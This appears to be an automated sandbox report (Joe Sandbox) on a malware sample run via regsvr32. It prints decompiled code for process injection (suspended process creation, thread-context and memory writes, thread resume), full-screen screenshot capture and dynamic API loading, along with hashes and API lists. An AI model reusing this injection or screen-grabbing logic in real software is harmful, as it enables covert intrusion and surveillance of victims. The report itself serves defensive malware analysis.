0x0073d974
0x0073d97d
0x0073d97d
0x0073d983
0x0073d98b
0x0073d98e
0x0073d996
0x0073d996
0x0073d999
0x0073d99a
0x0073d9a0
0x00000000
0x00000000
0x00000000
0x00000000
0x0073d9a0
0x0073d9a9
0x0073d9ac
0x0073d9ad
0x0073d9b2
0x00000000
0x00000000
0x00000000
0x00000000
0x0073d9b8
0x00000000
0x00000000
0x00000000
0x0073d9b8
0x0073d9b8
0x0073d9bb
0x0073d9c1
0x0073d9c5

APIs

Part of subcall function 00738F63: memset.MSVCRT ref: 00738F75

Part of subcall function 0073BE10: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?,?,?,?,?,00000000,00000000), ref: 0073BE52

Part of subcall function 0073D9DE: GetThreadContext.KERNELBASE(?,00010002,00000000,00000000,00000000), ref: 0073DA40
Part of subcall function 0073D9DE: NtProtectVirtualMemory.NTDLL(?,?,?,00000004,00000000), ref: 0073DA89
Part of subcall function 0073D9DE: NtWriteVirtualMemory.NTDLL(?,?,000000E9,00000005,?), ref: 0073DAA6
Part of subcall function 0073D9DE: NtProtectVirtualMemory.NTDLL(?,?,?,00000000,00000000), ref: 0073DAC7

GetLastError.KERNEL32(?,?,00000001), ref: 0073D939

Part of subcall function 0073DADC: ResumeThread.KERNELBASE(?,0073D947,?,?,00000001), ref: 0073DAE4

FindCloseChangeNotification.KERNELBASE(00000000,?,?,00000001), ref: 0073D964

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: MemoryVirtual$ProtectThread$ChangeCloseContextCreateErrorFindLastNotificationProcessResumeWritememset
String ID:
API String ID: 2212882986-0
Opcode ID: e2081d1ab074184df09ae1815021b89875131d686b2d487580c2e720072420c2
Instruction ID: d5bf7d176a2f5065d55002226f943210d9ab35105f5e6b90538b46aa8b4ab6df
Opcode Fuzzy Hash: e2081d1ab074184df09ae1815021b89875131d686b2d487580c2e720072420c2
Instruction Fuzzy Hash: 34416576A00205EFEB20DFA5E989BDEB7F9FF48310F144065E515A7252DB38AD04CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00736603 Relevance: 3.1, APIs: 2, Instructions: 78
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			_entry_(void* __ecx, intOrPtr _a4, WCHAR* _a8) {
				long _v8;
				intOrPtr _t15;
				WCHAR* _t23;
				long _t24;
				void* _t28;
				void* _t31;
				intOrPtr _t36;
				void* _t41;
				void* _t48;
				intOrPtr* _t49;

				_push(__ecx);
				if(_a8 != 1) {
					__eflags = _a8;
					if(_a8 != 0) {
						L7:
						__eflags = 1;
						return 1;
					}
					_t15 =  *0x74f8d0; // 0xc2f8c0
					 *((intOrPtr*)(_t15 + 0xb8))(0xaa);
					L3:
					return 0;
				}
				E00738DB4();
				E00739787();
				 *0x74f8e8 = _a4;
				E00743D36(_a4);
				 *_t49 = 0xf2e;
				 *0x74f8d0 = E0073F0D9(0x74ca88, 0x138);
				 *_t49 = 0xe8d;
				_t23 = E00739F85(0x74ca88);
				_pop(_t41);
				_a8 = _t23;
				_t24 = GetFileAttributesW(_t23); // executed
				_push( &_a8);
				if(_t24 == 0xffffffff) {
					E00738D9A();
					 *_t49 = 0x1f4;
					_t28 = E0073FCDA(E0073109A(_t41));
					_a8 = _t28;
					__eflags = _t28;
					if(_t28 != 0) {
						_t48 = 0x54;
						 *0x74f8e0 = E0073F0D9(0x74cbf0, _t48);
						E0073647A(_t48, __eflags);
						E00738DDF( &_a8, 0xfffffffe);
						_t36 =  *0x74f8d0; // 0xc2f8c0
						 *((intOrPtr*)(_t36 + 0xe8))(1, 0x641);
					}
					_v8 = 0;
					_t31 = CreateThread(0, 0, E007363A2, 0, 0,  &_v8);
					 *0x74f8f4 = _t31;
					__eflags = _t31;
					if(_t31 == 0) {
						goto L3;
					} else {
						goto L7;
					}
				}
				E00738D9A();
				goto L3;
			}

0x00736606
0x0073660b
0x007366ef
0x007366f3
0x007366e8
0x007366ea
0x00000000
0x007366ea
0x007366f5
0x007366ff
0x0073666a
0x00000000
0x0073666a
0x00736611
0x00736616
0x0073661f
0x00736624
0x0073662e
0x0073663f
0x00736644
0x0073664b
0x00736650
0x00736652
0x00736655
0x00736661
0x00736662
0x0073666e
0x00736673
0x00736682
0x00736687
0x0073668a
0x0073668c
0x00736695
0x007366a0
0x007366a5
0x007366b0
0x007366b5
0x007366bf
0x007366bf
0x007366d9
0x007366dc
0x007366df
0x007366e4
0x007366e6
0x00000000
0x00000000
0x00000000
0x00000000
0x007366e6
0x00736664
0x00000000

APIs

Part of subcall function 00738DB4: HeapCreate.KERNELBASE(00000000,00096000,00000000,00736616), ref: 00738DBD

Part of subcall function 0073F0D9: GetModuleHandleA.KERNEL32(00000000,?,?,?,0074CA88,?,0073663F,?), ref: 0073F0FB

GetFileAttributesW.KERNELBASE(00000000), ref: 00736655
CreateThread.KERNELBASE(00000000,00000000,007363A2,00000000,00000000,?), ref: 007366DC

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: Create$AttributesFileHandleHeapModuleThread
String ID:
API String ID: 607385197-0
Opcode ID: 1946454c65f1a8a661556a3ca84b93f3905dc241dd42eb8c21749afefd443693
Instruction ID: 1404fdbed5bf610297dbc2d2373ef6994f928fa35b4359a059c165cc7b41048d
Opcode Fuzzy Hash: 1946454c65f1a8a661556a3ca84b93f3905dc241dd42eb8c21749afefd443693
Instruction Fuzzy Hash: 8D212CB5604205EFEB44AFB5E80AA6E37E8AF05350F10C53AF559DA1D2DB7CC540CB25

Uniqueness

Uniqueness Score: -1.00%

Function 0073F0D9 Relevance: 3.0, APIs: 2, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			E0073F0D9(void* __ecx, void* __edx, intOrPtr _a4) {
				char _v8;
				char _t5;
				struct HINSTANCE__* _t7;
				void* _t10;
				void* _t12;
				void* _t22;
				void* _t25;

				_push(__ecx);
				_t12 = __ecx;
				_t22 = __edx;
				_t5 = E00739F6B(_a4);
				_t25 = 0;
				_v8 = _t5;
				_push(_t5);
				if(_a4 != 0xf2e) {
					_t7 = LoadLibraryA(); // executed
				} else {
					_t7 = GetModuleHandleA();
				}
				if(_t7 != 0) {
					_t10 = E0073F08E(_t12, _t22, _t7); // executed
					_t25 = _t10;
				}
				E00738D87( &_v8);
				return _t25;
			}

0x0073f0dc
0x0073f0df
0x0073f0e5
0x0073f0e7
0x0073f0ec
0x0073f0ee
0x0073f0f8
0x0073f0f9
0x0073f108
0x0073f0fb
0x0073f0fb
0x0073f0fb
0x0073f10c
0x0073f113
0x0073f119
0x0073f119
0x0073f11e
0x0073f129

APIs

GetModuleHandleA.KERNEL32(00000000,?,?,?,0074CA88,?,0073663F,?), ref: 0073F0FB
LoadLibraryA.KERNELBASE(00000000,?,?,?,0074CA88,?,0073663F,?), ref: 0073F108

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID:
API String ID: 4133054770-0
Opcode ID: 45f7be4acef65fc1383fa538a028872a8117c9c7c309775a28355bafc95392dc
Instruction ID: 65536149b101ceaceb0c42b13867707c190eb2db63ebba7e9eeff2886fd1aa1f
Opcode Fuzzy Hash: 45f7be4acef65fc1383fa538a028872a8117c9c7c309775a28355bafc95392dc
Instruction Fuzzy Hash: 26F0A731700219EBE714ABADEC4545AB3EDDF583D1F20413AF102D7252DEB88D408791

Uniqueness

Uniqueness Score: -1.00%

Function 007363A2 Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E007363A2(void* __fp0) {
				void* __ecx;
				intOrPtr _t13;
				intOrPtr _t14;
				signed int _t16;
				intOrPtr _t17;
				intOrPtr _t20;
				void* _t25;
				void* _t27;

				_t32 = __fp0;
				E0073651E();
				GetOEMCP();
				_t13 = E0073DFC2(__fp0); // executed
				 *0x74f8d4 = _t13;
				if(_t13 != 0) {
					 *((intOrPtr*)(_t13 + 0xa0)) = 1;
					_t14 =  *0x74f8d4; // 0xc2fc00
					_t2 = _t14 + 0x224; // 0x730000
					E00743C36( *_t2);
					_t26 =  *0x74f8d4; // 0xc2fc00
					_t25 = _t27;
					__eflags =  *(_t26 + 0x1898) & 0x00010000;
					if(( *(_t26 + 0x1898) & 0x00010000) == 0) {
						_t7 = _t26 + 0x224; // 0x730000, executed
						_t26 =  *_t7;
						_t16 = E0073D889( *_t7); // executed
						__eflags = _t16;
						_t17 =  *0x74f8d4; // 0xc2fc00
						if(_t16 != 0) {
							__eflags =  *((intOrPtr*)(_t17 + 0x214)) - 3;
							if( *((intOrPtr*)(_t17 + 0x214)) != 3) {
								L10:
								__eflags = 0;
								return 0;
							}
							L9:
							E00733597();
							goto L10;
						}
						 *((intOrPtr*)(_t17 + 0xa4)) = 1;
						L6:
						_t20 =  *0x74f8d4; // 0xc2fc00
						__eflags =  *((intOrPtr*)(_t20 + 0x214)) - 3;
						if(__eflags == 0) {
							goto L9;
						}
						E007361E8(_t25, _t26, __eflags, _t32);
						goto L10;
					}
					 *((intOrPtr*)(_t26 + 0xa4)) = 1;
					goto L6;
				}
				return _t13 + 1;
			}

0x007363a2
0x007363a2
0x007363a7
0x007363ae
0x007363b3
0x007363bb
0x007363c4
0x007363ca
0x007363cf
0x007363d5
0x007363da
0x007363e0
0x007363e1
0x007363eb
0x007363f5
0x007363f5
0x007363fb
0x00736400
0x00736402
0x00736407
0x00736424
0x0073642b
0x00736432
0x00736432
0x00000000
0x00736434
0x0073642d
0x0073642d
0x00000000
0x0073642d
0x00736409
0x0073640f
0x0073640f
0x00736414
0x0073641b
0x00000000
0x00000000
0x0073641d
0x00000000
0x0073641d
0x007363ed
0x00000000
0x007363ed
0x00000000

APIs

GetOEMCP.KERNEL32 ref: 007363A7

Part of subcall function 0073DFC2: GetCurrentProcessId.KERNEL32 ref: 0073DFE9
Part of subcall function 0073DFC2: GetLastError.KERNEL32 ref: 0073E0E3
Part of subcall function 0073DFC2: GetSystemMetrics.USER32(00001000), ref: 0073E0F3

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: CurrentErrorLastMetricsProcessSystem
String ID:
API String ID: 1196160345-0
Opcode ID: c8206843b3441b57c091d3f0a9e6461e1955d0be02e05c194f19bf0ba950e40b
Instruction ID: 246ea7b160c85cad3e0008b22786ebdffcf5a60313f6305f4d7f738fe58a5629
Opcode Fuzzy Hash: c8206843b3441b57c091d3f0a9e6461e1955d0be02e05c194f19bf0ba950e40b
Instruction Fuzzy Hash: 54018B79500292EFE614EF64E90DAA673E8EF16300F288177F0448A023C73C8950CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0073CA0A Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0073CA0A(void* __ecx) {
				signed int _v8;
				intOrPtr _t12;
				void* _t13;
				void* _t14;
				void* _t17;
				intOrPtr _t18;
				void* _t23;

				_v8 = _v8 & 0x00000000;
				_t12 =  *0x74f8d8; // 0xc2fab0
				_t13 =  *((intOrPtr*)(_t12 + 0x70))(__ecx, 8,  &_v8, __ecx);
				if(_t13 != 0) {
					_t14 = E0073C9F3(); // executed
					_t23 = _t14;
					if(_t23 != 0) {
						FindCloseChangeNotification(_v8);
						_t17 = _t23;
					} else {
						if(_v8 != _t14) {
							_t18 =  *0x74f8d0; // 0xc2f8c0
							 *((intOrPtr*)(_t18 + 0x30))(_v8);
						}
						_t17 = 0;
					}
					return _t17;
				} else {
					return _t13;
				}
			}

0x0073ca0e
0x0073ca16
0x0073ca1e
0x0073ca23
0x0073ca2b
0x0073ca30
0x0073ca34
0x0073ca52
0x0073ca55
0x0073ca36
0x0073ca39
0x0073ca3b
0x0073ca43
0x0073ca43
0x0073ca46
0x0073ca46
0x0073ca59
0x0073ca26
0x0073ca26
0x0073ca26

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a961cca549cddf2603edc26bc05009abcadd26cfda0575345573aa8a11428835
Instruction ID: 27d3329886ba039a0dee3ed1bb9ec642f28337d9ee4be12d7438299e0cd88946
Opcode Fuzzy Hash: a961cca549cddf2603edc26bc05009abcadd26cfda0575345573aa8a11428835
Instruction Fuzzy Hash: 25F03A31A10118EFDB12DBA8D946A9D73FCBF08346F1180A5E501FB262D778DE00DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00736438 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00736438() {
				intOrPtr _t3;

				_t3 =  *0x74f8d0; // 0xc2f8c0
				 *((intOrPtr*)(_t3 + 0x2c))( *0x74f8f4, 0xffffffff);
				ExitProcess(0);
			}

0x00736438
0x00736445
0x0073644f

APIs

ExitProcess.KERNEL32(00000000), ref: 0073644F

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: a4db31c54aed54b33e56cc00cbbcf5b3ad61b9e701da953f199fefa6da152364
Instruction ID: a21e9d5d741556ee918de6478ea098e85f639a84f36062e5f7688e7389b6b0a4
Opcode Fuzzy Hash: a4db31c54aed54b33e56cc00cbbcf5b3ad61b9e701da953f199fefa6da152364
Instruction Fuzzy Hash: 1BC002792141519FC740AB64ED49F1537E4BF0A322F19C6B7F5299E1F9CB2494009B14

Uniqueness

Uniqueness Score: -1.00%

Function 00738DC9 Relevance: 1.5, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00738DC9(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x74f9b8, 8, _a4); // executed
				return _t2;
			}

0x00738dd7
0x00738dde

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,00739793,00000100,?,0073661B), ref: 00738DD7

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: acc287bc95d9ca6d664ae8adac2de038d37ff203cf9691d131cbfcfdef7dbd86
Instruction ID: f0f252281fc8fe0bab47b77c2e89734e94f2e40aee8f4cd5f375bc911d69df19
Opcode Fuzzy Hash: acc287bc95d9ca6d664ae8adac2de038d37ff203cf9691d131cbfcfdef7dbd86
Instruction Fuzzy Hash: 6FB0923E080208BBCF411B81EC05A953F29FB1A651F008022F708484708B7764619B98

Uniqueness

Uniqueness Score: -1.00%

Function 0073DADC Relevance: 1.5, APIs: 1, Instructions: 7
threadCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0073DADC(void* __ecx) {
				signed int _t4;

				_t4 = ResumeThread( *(__ecx + 4));
				asm("sbb eax, eax");
				return  ~_t4 & 0x00000001;
			}

0x0073dae4
0x0073daec
0x0073daf1

APIs

ResumeThread.KERNELBASE(?,0073D947,?,?,00000001), ref: 0073DAE4

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 10fba95a2ac8746f532442722e628e6a35cff4e1c82fd445a932fac5252c7b4e
Instruction ID: 095c46f27a06a7fe0927ac2489c8d4e8d41604159d3cd84f3f2aaa85676bf0fe
Opcode Fuzzy Hash: 10fba95a2ac8746f532442722e628e6a35cff4e1c82fd445a932fac5252c7b4e
Instruction Fuzzy Hash: 19B092362A00019BCB005B74EC0A9A03BE0BB56606B98C2F5E015CA061C32EC4458B40

Uniqueness

Uniqueness Score: -1.00%

Function 00738DB4 Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00738DB4() {
				void* _t1;

				_t1 = HeapCreate(0, 0x96000, 0); // executed
				 *0x74f9b8 = _t1;
				return _t1;
			}

0x00738dbd
0x00738dc3
0x00738dc8

APIs

HeapCreate.KERNELBASE(00000000,00096000,00000000,00736616), ref: 00738DBD

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 45b16f8d64264b54701b5bfcc97d151e797b41d2f8f1c06269ff9f07c657f533
Instruction ID: f6e797358e0df3beb72a58be153096fffe1c5d1f9dd5804ff702f0d114e875a8
Opcode Fuzzy Hash: 45b16f8d64264b54701b5bfcc97d151e797b41d2f8f1c06269ff9f07c657f533
Instruction Fuzzy Hash: 8AB012B8685300A6DB500B205C46B0135106346B02F208013F709981E0C7B42000951C

Uniqueness

Uniqueness Score: -1.00%

Function 0073DAF2 Relevance: 1.3, APIs: 1, Instructions: 50
sleepCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0073DAF2(void* __ecx, intOrPtr _a4, signed int _a8) {
				signed int _v8;
				intOrPtr _v12;
				signed int _t26;
				signed int _t28;
				signed int* _t36;
				signed int* _t39;

				_push(__ecx);
				_push(__ecx);
				_t36 = _a8;
				_t28 = _t36[1];
				if(_t28 != 0) {
					_t39 = _t36[2];
					do {
						_a8 = _a8 & 0x00000000;
						if(_t39[2] > 0) {
							_t31 = _t39[3];
							_t22 = _a4 + 0x24;
							_v12 = _a4 + 0x24;
							_v8 = _t39[3];
							while(E0073A236(_t22,  *_t31) != 0) {
								_t26 = _a8 + 1;
								_t31 = _v8 + 4;
								_a8 = _t26;
								_t22 = _v12;
								_v8 = _v8 + 4;
								if(_t26 < _t39[2]) {
									continue;
								} else {
								}
								goto L8;
							}
							 *_t36 =  *_t36 |  *_t39;
						}
						L8:
						_t39 =  &(_t39[4]);
						_t28 = _t28 - 1;
					} while (_t28 != 0);
				}
				Sleep(0xa);
				return 1;
			}

0x0073daf5
0x0073daf6
0x0073daf9
0x0073dafc
0x0073db01
0x0073db04
0x0073db07
0x0073db07
0x0073db0f
0x0073db14
0x0073db17
0x0073db1a
0x0073db1d
0x0073db20
0x0073db33
0x0073db34
0x0073db37
0x0073db3d
0x0073db40
0x0073db43
0x00000000
0x00000000
0x0073db45
0x00000000
0x0073db43
0x0073db49
0x0073db49
0x0073db4b
0x0073db4b
0x0073db4e
0x0073db4e
0x0073db53
0x0073db5b
0x0073db67

APIs

Sleep.KERNELBASE(0000000A), ref: 0073DB5B

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: a8dc0a3c30c85f40d1c78151e2f2a4f3b0cb5d039aea77e56e997d71d4b0cfd5
Instruction ID: 2f64813fc8003bc9f0624a88409fd9a8eb41cd5accedd091f484d6e0406b638a
Opcode Fuzzy Hash: a8dc0a3c30c85f40d1c78151e2f2a4f3b0cb5d039aea77e56e997d71d4b0cfd5
Instruction Fuzzy Hash: 03111BB1A00205AFEB24CFA9D485A99F7F8FF45324F11846AE95A9B341D378ED41CB50

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00735D1E Relevance: 35.2, APIs: 18, Strings: 2, Instructions: 223
windowCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00735D1E(int* __ecx) {
				signed int _v8;
				char _v12;
				int _v16;
				struct HWND__* _v20;
				struct HWND__* _v24;
				struct HDC__* _v28;
				void* _v32;
				int* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				short _v82;
				short _v84;
				signed int _v88;
				signed int _v92;
				struct tagBITMAPINFO _v96;
				intOrPtr _v102;
				int _v110;
				char _v112;
				void* _v116;
				void* _v120;
				void* _v124;
				void* _v132;
				void* _v136;
				void* _v140;
				int _v156;
				signed int _v160;
				void _v164;
				int _t82;
				void* _t84;
				signed int _t92;
				void* _t99;
				char _t103;
				intOrPtr _t113;
				int* _t114;
				struct HDC__* _t120;
				signed int _t124;
				short _t137;
				struct HDC__* _t141;
				void* _t144;
				void* _t148;

				_v36 = __ecx;
				_v24 = 0;
				_t120 = 0;
				_v12 = 0;
				_t144 = 0;
				_v20 = 0;
				_t141 = GetDC(0);
				_v28 = _t141;
				if(_t141 != 0) {
					_t120 = CreateCompatibleDC(_t141);
					if(_t120 != 0) {
						_v8 = GetDeviceCaps(_t141, 8);
						_t82 = GetDeviceCaps(_t141, 0xa);
						_v16 = _t82;
						_t144 = CreateCompatibleBitmap(_t141, _v8, _t82);
						if(_t144 != 0) {
							_t84 = SelectObject(_t120, _t144);
							_v32 = _t84;
							if(_t84 != 0) {
								_t144 = SelectObject(_t120, _v32);
								if(_t144 != 0) {
									GetObjectW(_t144, 0x18,  &_v164);
									_t92 = _v160;
									_t124 = _v156;
									_v92 = _t92;
									_v84 = 1;
									_t137 = 0x20;
									_v82 = _t137;
									_v96.bmiHeader = 0x28;
									_v80 = 0;
									_v76 = 0;
									_v72 = 0;
									_v68 = 0;
									_v64 = 0;
									_v60 = 0;
									asm("cdq");
									_v88 = _t124;
									_v8 = ((_t92 << 5) + 0x1f >> 5) * _t124 << 2;
									_t99 = E00738DC9(((_t92 << 5) + 0x1f >> 5) * _t124 << 2);
									_v20 = _t99;
									if(_t99 != 0) {
										GetDIBits(_t120, _t144, 0, _v156, _t99,  &_v96, 0);
										_v16 = _v8 + 0x36;
										_t103 = E00738DC9(_v8 + 0x36);
										_v12 = _t103;
										if(_t103 != 0) {
											_v110 = _v16;
											_v112 = 0x4d42;
											_v102 = 0x36;
											E00738EA6(_t103,  &_v112, 0xe);
											E00738EA6(_v12 + 0xe,  &_v96, 0x28);
											E00738EA6(_v12 + 0x36, _v20, _v8);
											_t148 = _t148 + 0x24;
											_v8 = _v8 & 0x00000000;
											_t113 = E0073FBFB(_v12, _v16,  &_v8);
											_v24 = _t113;
											if(_t113 != 0) {
												_t114 = _v36;
												if(_t114 != 0) {
													 *_t114 = _v8;
												}
											}
										}
									}
								}
							}
						}
					}
				}
				E00738DDF( &_v20, 0);
				E00738DDF( &_v12, 0);
				if(_t120 != 0) {
					DeleteDC(_t120);
				}
				if(_t141 != 0) {
					DeleteDC(_t141);
				}
				if(_t144 != 0) {
					DeleteObject(_t144);
				}
				return _v24;
			}

0x00735d2a
0x00735d30
0x00735d33
0x00735d35
0x00735d38
0x00735d3a
0x00735d43
0x00735d45
0x00735d4a
0x00735d57
0x00735d5b
0x00735d6f
0x00735d72
0x00735d78
0x00735d82
0x00735d86
0x00735d8e
0x00735d94
0x00735d99
0x00735e2f
0x00735e33
0x00735e43
0x00735e49
0x00735e51
0x00735e58
0x00735e5b
0x00735e64
0x00735e65
0x00735e6e
0x00735e75
0x00735e78
0x00735e7b
0x00735e7e
0x00735e81
0x00735e84
0x00735e87
0x00735e8b
0x00735e9a
0x00735e9d
0x00735ea2
0x00735ea8
0x00735ebf
0x00735ecc
0x00735ecf
0x00735ed4
0x00735eda
0x00735edf
0x00735ee7
0x00735ef2
0x00735ef9
0x00735f0e
0x00735f23
0x00735f31
0x00735f34
0x00735f39
0x00735f3e
0x00735f44
0x00735f46
0x00735f4b
0x00735f50
0x00735f50
0x00735f4b
0x00735f44
0x00735eda
0x00735ea8
0x00735e33
0x00735d99
0x00735d86
0x00735d5b
0x00735f58
0x00735f63
0x00735f6d
0x00735f70
0x00735f70
0x00735f78
0x00735f7b
0x00735f7b
0x00735f83
0x00735f86
0x00735f86
0x00735f93

APIs

GetDC.USER32(00000000), ref: 00735D3D
CreateCompatibleDC.GDI32(00000000), ref: 00735D51
GetDeviceCaps.GDI32(00000000,00000008), ref: 00735D6A
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00735D72
CreateCompatibleBitmap.GDI32(00000000,?,00000000), ref: 00735D7C
SelectObject.GDI32(00000000,00000000), ref: 00735D8E
BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 00735DB2
GetCursorInfo.USER32(?), ref: 00735DC3
CopyIcon.USER32 ref: 00735DD8
GetIconInfo.USER32(00000000,?), ref: 00735DE6
GetObjectW.GDI32(?,00000018,?), ref: 00735E04
DrawIconEx.USER32 ref: 00735E1C
SelectObject.GDI32(00000000,?), ref: 00735E29
GetObjectW.GDI32(00000000,00000018,?), ref: 00735E43
GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000028,00000000), ref: 00735EBF
DeleteDC.GDI32(00000000), ref: 00735F70
DeleteDC.GDI32(00000000), ref: 00735F7B
DeleteObject.GDI32(00000000), ref: 00735F86

Strings

(, xrefs: 00735E6E
6, xrefs: 00735EF2

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: Object$DeleteIcon$CapsCompatibleCreateDeviceInfoSelect$BitmapBitsCopyCursorDraw
String ID: ($6
API String ID: 192358524-4149066357
Opcode ID: b59aa6dd91bb49ad19638e8082cf0ff8bcb470d2e1b0c6895b15a3f936f5dbb0
Instruction ID: 06ddfb175d9195c9644027eb0c6ddf2a1ac1b67061b7b249c04a88702f2fded6
Opcode Fuzzy Hash: b59aa6dd91bb49ad19638e8082cf0ff8bcb470d2e1b0c6895b15a3f936f5dbb0
Instruction Fuzzy Hash: 84812FB5D0061AEBEB10DFA4DC49B9EBBB8EF49300F108069F605F7251EB389A05CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0073E485 Relevance: 7.6, APIs: 5, Instructions: 87
commemoryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E0073E485(void* __ecx) {
				char _v8;
				void* _v12;
				char* _t15;
				intOrPtr* _t16;
				void* _t21;
				intOrPtr* _t23;
				intOrPtr* _t24;
				intOrPtr* _t25;
				void* _t30;
				void* _t33;

				_v12 = 0;
				_v8 = 0;
				__imp__CoInitializeEx(0, 0, _t30, _t33, __ecx, __ecx);
				__imp__CoInitializeSecurity(0, 0xffffffff, 0, 0, 0, 3, 0, 0, 0);
				_t15 =  &_v12;
				__imp__CoCreateInstance(0x74c8a0, 0, 1, 0x74c8b0, _t15);
				if(_t15 < 0) {
					L5:
					_t23 = _v8;
					if(_t23 != 0) {
						 *((intOrPtr*)( *_t23 + 8))(_t23);
					}
					_t24 = _v12;
					if(_t24 != 0) {
						 *((intOrPtr*)( *_t24 + 8))(_t24);
					}
					_t16 = 0;
				} else {
					__imp__#2(__ecx);
					_t25 = _v12;
					_t21 =  *((intOrPtr*)( *_t25 + 0xc))(_t25, _t15, 0, 0, 0, 0, 0, 0,  &_v8);
					if(_t21 < 0) {
						goto L5;
					} else {
						__imp__CoSetProxyBlanket(_v8, 0xa, 0, 0, 3, 3, 0, 0);
						if(_t21 < 0) {
							goto L5;
						} else {
							_t16 = E00738DC9(8);
							if(_t16 == 0) {
								goto L5;
							} else {
								 *((intOrPtr*)(_t16 + 4)) = _v12;
								 *_t16 = _v8;
							}
						}
					}
				}
				return _t16;
			}

0x0073e492
0x0073e495
0x0073e498
0x0073e4a9
0x0073e4af
0x0073e4c0
0x0073e4c8
0x0073e519
0x0073e519
0x0073e51e
0x0073e523
0x0073e523
0x0073e526
0x0073e52b
0x0073e530
0x0073e530
0x0073e533
0x0073e4ca
0x0073e4cb
0x0073e4d1
0x0073e4e2
0x0073e4e7
0x00000000
0x0073e4e9
0x0073e4f6
0x0073e4fe
0x00000000
0x0073e500
0x0073e502
0x0073e50a
0x00000000
0x0073e50c
0x0073e50f
0x0073e515
0x0073e515
0x0073e50a
0x0073e4fe
0x0073e4e7
0x0073e538

APIs

CoInitializeEx.OLE32(00000000,00000000,00000000,00000000,00000000,00000000,?,0073E7B4,00000E16,00000000,00000000,00000005), ref: 0073E498
